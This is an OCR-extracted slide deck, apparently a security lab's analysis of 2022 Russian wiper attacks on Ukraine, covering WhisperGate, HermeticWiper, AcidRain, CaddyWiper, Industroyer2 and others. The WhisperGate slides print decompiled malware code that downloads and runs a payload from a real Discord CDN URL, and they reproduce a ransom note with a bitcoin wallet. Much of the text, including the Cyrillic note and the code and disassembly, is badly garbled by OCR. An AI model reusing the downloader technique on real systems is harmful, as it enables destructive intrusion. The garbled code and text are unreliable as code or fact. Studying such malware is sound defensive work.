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Sandworm APT (GRU Unit 74455)

A.k.a. ELECTRUM, Telebots, IRON VIKING, BlackEnergy, Quedagh, VOODOO

BEAR

Attributed attacks:

e BlackEnergy (2015)
e |ndustroyer (2016)

e NotPetya (2017)

e Olympic destroyer (2018)
o efc.

Source: https://attack.mitre.org/groups/G0034/
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e GRU T
(Military Intelligence)

Centre 16: Centre of ‘GRU 85th: FIG|dp03t _ RUGTIST:Fleld :
the collection of number 26165 number 74455
Radio-Electronic

number 71330 Publicly known as:
Sandworm

Publicly known as
Energetic Bear
Beserk Bear
Dragonfly
IRON LIBERTY
ALLANITE
CASTLE
Crounching Yeti
DYMALLOY
TG-4192

Source: https://www.qgov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet



https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
https://attack.mitre.org/groups/G0034/

Wiper attacks in 2022

NioGuard /.
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23 Feb 25 Feb 14 March 8 April
t
13-14 Jan 24 Feb March 17 March
WhisperGate AcidRain DesertBlade DoubleZero
(FiberLake)

NioGuard Security Lab © 2022



WhisperGate

Date: 13-14 Jan 2022
Targets: Government infrastructure
Discovered by: CERT-UA, Microsoft
Attribution: DEV-0586 (GRU)
Platform: Windows 64/32-bit
Delivery:
e Stagel.exe: MBR writer -> Disk wiper
e Stage2.exe: Trojan-Downloader -> Discord
-> File wiper
Destruction:
e Wiping every 199th sector
e Filling files with ‘0x100000’ of ‘OxCC’ byte
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YKpaiHeub! Bci Bawi ocobucTi aani Oynum 3aBaHTaxeHi B

3arasibHy mMepexy. BC1 AaH1 Ha KOMM ' 'W0Tepi 3HMUYITbCH,

B1AHOBMTU 1X HEMOX/IMBO. Bca THpopMauis npo Bac cTtana

nybniyHow, 6inuTecs 1 4yekaute ripworo. Lle Bam 3a Baue

MUHYJIe, CbOoroseHHs 1 MambyTHE. 3a BonuHb, 3a OYH YIA,
3a FasM4uMHy, 3a Moniccsa 1 3a ICTOPUYHT 3emni.

YKpauHel! Bce BawwMm siMuHbie AaHHbie ObUIM 3arpyxeHbl B
obulyiw ceTb. BCe AaHHble H2 KOMNbIOTEpPE YHMYTOXAWTCH,
BOCCTaHOBUTb MX HEBO3MOXHO. BCs uHpopMauus o Bac
ctana nybnuyHon, GbouTeCchb M XauTe Xyawero. 3To Bam 3a
Bawe npownoe, HacTosuee U byayuwee. 3a BonblHb, 3a OYH
YNA, 3a ranvuuio, 3a Monecbe U 3a UCTOPUYECKUE 3eMn.

Ukrainiec! wWszystkie Twoje dane osobowe zostaty
przestane do wspdlnej sieci. Wszystkie dane na
komputerze s3 niszczone, nie mozna ich odzyskac.
Wszystkie informacje o Tobie staty sie publiczne, boj
sie 1 czekaj na najgorsze. To dla Ciebie za two]j3
przesztosSc, terazniejszosc i przyszlosc. Za Wotlyn, za
OUN UPA, Galicje, Polesie i1 za tereny historyczne.




Public file sharing services

e \WhisperGate (stage2.exe): Downloading a malware from the Discord

CDN as an attachment

ul ,
File Edit View Debug Window Help @ 22 C#

Assembly Explorer v X Facade

4 O Tbhopbh (10.0.18362.1500)
4 = Tbopbh.exe

b= PE

P =-B Type References

P =-B References

P Ml Resources

4 {} -
b ¥ 3 @02000003
b %, <Module> @02000001
p ‘ny <Module>{89a366a7-2270-4¢

P % Facade @02000002
b %, Manager @02000005

b %, MockParamsStub @0200000
P {} WindowsFormsApp12.Properties

- ]
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- p Stat O
num2 = 7;
continue;
ade.InsertItem(array, @, array.lLength);
g0tTOo SGU3
byte[] array2 = (byte[])Facade.Updateltem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""); new
i
acade.MoveIltem(typeof(string) reHz )
1), new WebClient(), new object[]
i
https://cdn.discordapp.com/attachments/928563440139771947/9301886376811847 Ibopbh.ipg
¥)s
if (5 ==0)
{
num2 = 4;

Type[]



Tbopbh.jpg / Frkmlkdkdubkznbkmct.dll
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http://www.youtube.com/watch?v=Vk8Di92C3JE&t=535

Fileless execution

WhisperGate

e Stage2.exe downloads a .NET DLL (Tbopbh.jpg / Frkmlkdkdubkznbkmcf.dll)
from Discord CDN and launches it via RuntimeAssembly without saving on

disk.

—,Q[j"; ( -
nifestReso Stream = Assembly mbly().GetManifestResourceStrean
( festResourceSt 11)
Frkmikdkdubkznbkmcf dlil oo nor oo e o
num (1 static byte[] smethod_6(byte[] byte ©)
B = EL TSN if[] i ~ing s = "LKf/VjV6K1lpzXaFkzHOLv1d5y110zPjQTgiWG109rCI5kQ465LHVFLsit@agXgkz11QXKS
=) _J Version Info e L iine(o;
: : 1 Uang O] i (class12¢ gl Lb;te‘ @c 18(array)
----- j 78c855a088924e92a7f00d 61c3d 1845
:) AT AT R )RR RF SRR R AN T 2,
----- ) 7c8cb5598e724d34384cce7402b11f0e -
if (b == )
\ b2 = @class.method 1();
EH(bl, 32)
[ ] 2[(int)(b & 3)]1);
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Class120 class120 0)

(class120 @.string 2);




Using MBR to wipe data on physical drives

[ |n’ru||’x".'.
| over all hard deives

) your organiza ’
You should pay us S160k via bitcoin uwallet
1AUNMGEg JGPGPFcJuf tEATa4WhnzgBf pfv and send message via
tox 1D BBEPC41101ZAIIHAIAF1A9130DEF 10699 3C6A3ZDADET 6 FOASDUZCIERZIOSACOALTEL
F65S

ith your organization name

e will comtact you to give further instructions

Analysis of WhisperGate

destroyers
By Dr. Alexander Adamov

a _ bl '
Professional Master in o™ S '
PRO.M.IS Information Security %@i SERLSWEde

. W’ LEADING SOFTWARE ENGINFERING
promisedu.se
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http://www.youtube.com/watch?v=d3hCu1ARK1s&t=4325

Wiper attacks in 2022
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HermeticWiper
(FoxBlade),
HermeticWizzard,

HermeticRansom
(SonicVote) IsaacWiper _ Industroyer2 +
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23 Feb 25 Feb 14 March 8 April
t
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(FiberLake)

NioGuard Security Lab © 2022



HermeticWiper

ah Certificate

General Details Certification Path

Date: 23 Feb 2022
Targets: Government infrastructure @ Certficatelnformaton
Discovered by: CERT-UA, ESET Sy s e e i et

Attribution: Sandworm

Platform: Windows 32-bit

Delivery:
. . ) Issued to: Hermetica Digital Ltd
e HermeticWizzard via WMI and SMB
Issued by: DigiCert EV Code Signing CA (SHA2)

o GPO
DeStrUCtiOn' valid from 4/12/2021 to 4/14/2022
- Via EaseUS driver
- The data is overwritten with randomly generated bytes

- Wipes MBR, MFT, system registry, $Bitmap and $LogFile on all
drives, Windows Events Log
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Possible routes of alleged
Russian invasion of Ukraine
(January 2022)

possible strike directions

shown in publications of
both Bild and CSIS (plan 2a)
possible strike directions

'Y shown in publications of
'\ Bild only

/Y possible strike directions
' shown in publications of
CSIS (plan 2a) only
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http://www.youtube.com/watch?v=soocgvMBf7I

Wiper attacks in 2022
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AcidRain

Date: 24 Feb 2022

Targets: Viasat KA-SAT modems

Discovered by: CERT-UA, SentinelLabs
Attribution: Sandworm (VPNFilter)

Platform: Linux and Solaris (ELF 32-bit MIPS)

Delivery: Supply-chain attack via a

misconfigured VPN appliance.
Destruction: Overwriting data in flash memory

on the modems
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Wiper attacks in 2022
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IsaacWiper (Lasainraw)

Date: 24-25 Feb 2022

Targets: UA enterprises

Discovered by: CERT-UA, ESET, and
Microsoft

Attribution: -

Platform: Windows 32-bit

Delivery: RemCom?

Destruction: Wipes the first 0x10000 bytes
of each disk using the random data
(Mersenne Twister PRNG).
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Wiper attacks in 2022
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DesertBlade

Date: early March

Targets: a single Ukrainian entity
Discovered by: CERT-UA, Microsoft
Attribution: -

Platform: Windows 32-bit (Golang)

Delivery: GPO
Destruction: Iteratively overwriting and then deleting

overwritten files on all accessible drives. Sparing
the system if it is a domain controller.
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Wiper attacks in 2022
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OO0 o — o UU
@06510ED mov
@06510F@ mov

n > PB6510F4 mov
CaddyWiper S
. 806510FC mov

20651100 mov

00651164 mov [ebp+va
- 90651108 mov [ebp+ve
. 9065110C mov [ebp+var 5
D : 14 IVI h 2022 . 80651110 mov [ebp+var
ate' arC - 90651114 mov [ebp+va
> 99651118 mov [ebp+var SA
T : A : 8065111C mov [ebp+var 5¢
argets' U OrgS . 00651120 mov [ebp+var 58], @
. . 20651124 lea edx, [ebp+var 6
D . ERT_ ; 80651127 push  edx
iscovered by: CERT-UA, ESET e R
) ] . 90651128 mov [ebp+Buffer], ©
" . - 90651132 lea eax, [ebp+Buffer]
AttrIbUtlon' : 98651135 push eax ; Buffer

90651136 push 1 ; Infolevel

Platform: Windows 32-bit Rty K |

Delivery: GPO

Destruction: overwriting the first 1920 bytes of data || " '

with ‘0’ using ‘CreateFileW’ and ‘DeviceloControl’ on|i s :k;u“J
from \\\PHYSICALDRIVE[9-0] v hore 10z avison ffile_corrupt |

FATAL: INT18: BOOT FAILURE

NioGuard Security Lab © 2022




Wiper attacks in 2022
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DoubleZero (FiberLake)
: g:\;u;tes ol Qég A People with visual impairment

D ate : 2 4 '2 5 F e b 2 O 2 2 e e CERT-UA

Targets:

Discovered by: CERT-UA
Attribution: UAC-0088 KLY Y S
Platform: NET ( C #) BMKOPMCTaHHSM nfg[;:ialj:;:;%.;mpa DoubleZero

Delivery:
Spear-phishing attack with a ZIP archive containing the file "
(translated from Russian: * ").
Destruction:

- NtfsControlFile( FSCTL_SET ZERO DATA)

- FileStream.Write( 4096 zero bytes )
- The wiper destroys HKCU, HKU, HKLM, HKLM\BCD in the System registry.

Computer Emergency Response Team of Ukraine

| ¥ | N | Q Search | BB Ykpaincskoro
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Wiper attacks in 2022

NioGuard /.

HermeticWiper
(FoxBlade),
HermeticWizzard,

HermeticRansom
(SonicVote) IsaacWiper _ Industroyer2 +
(Lasainraw) CaddyWiper CaddyWiper2
23 Feb 25 Feb 14 March 8 April
t
13-14 Jan 24 Feb March 17 March
WhisperGate AcidRain DesertBlade DoubleZero
(FiberLake)

NioGuard Security Lab © 2022



Industroyer2 + CaddyWiper2

Date: April 1, scheduled for April 8
Discovered by: CERT-UA and ESET

Attribution: Sandworm
Platform: Windows 32-bit
CaddyWiper2 =
AprilAxe | ARGUEPATCH (peremoga.exe = patched win32 remote.exe) +
CaddyWiper (pa1l.pay)
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204719CA
@24719CA

47 08 (D 80 53 17 80 73 80 43 13 80 48

TmMmuUyTm
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loc_4719CA:

00

_n
~J

024719CA mov

204715CD

MmO o

- > . - o
€41, |eop+var o

al, [edi+edx*2]

=

(8 By} |

} 7
43

28471500 i

90471901
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NS NN O = b
nmoeT"T® MmN W
MDD SN
o T 0O 00 00 N DO
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X
-
0

[ecx], al TS - AT '
% et [edi+edx™2]=[debug®27:aIribdfimcqakvb]
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00

28471906 it
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W
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Attacks on Ukrainian power grids

e 2015 - BlackEnergy v3 + KillDisk

e 2016 - Industroyer

e 2022 - Industroyer2 + CaddyWiper2

e 11 Sep 2022 - TEC-5 hit by “Kalibr”
cruise missiles
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Conclusions
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Scorched earth practice

Wipers can cause a long-term DoS for critical

infrastructure:

e Government services - WhisperGate

e Financial - WhisperGate

e Communication - AcidRain

e Energy sector (power grids, NPPs) -
BlackEnergy, Industroyer (2)
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Unselective: Tornado-S vs NotPetya and AcidRain

9K5&15 "Tornado-S" (S - Smerch) - modernized MLRS
9K&8 "Smerch”. The system includes a modernized
combat vehicle equipped with new fire control and new
300 mm unguided rockets with a maximum flight range
of up to 120 km, as well as an adjustable 9M542 rocket
with a detachable high-explosive fragmentation or cluster
warhead with a firing range of up to 120 km.

Wikipedia
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https://docs.google.com/file/d/10Y0JFOjJQi5O7h-BHEmwe3tGGzSj392z/preview

e NotPetya - took down ALL infected
computers IN and OUT of Ukraine. Affected
shipping giant Maersk.

WITHOUT HELP RUSSIA

e AcidRain - rendered ALL Viasat KA-SAT DR e
modems IN and OUT of Ukraine. 5,800
Enercon wind turbines in Germany unable
to communicate for remote monitoring or
control.
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S-300 vs NotPetya and HermeticWiper

e NotPetya - the patched version
of Petya ransomware.

e CaddyWiper2 (via ArguePatch) -
IDA WIn32 remote debug server
(win32_remote.exe)

e HermeticWiper - used the
legitimate EaseUS disk
management software
capabillities.
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Summary

If you do a cyberweapon, please, do it well!
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Analysis of wipers on [ » N[

e ENG:

ada@nioguard.com
@Alex_ Ad

¥ Thank you! ¥
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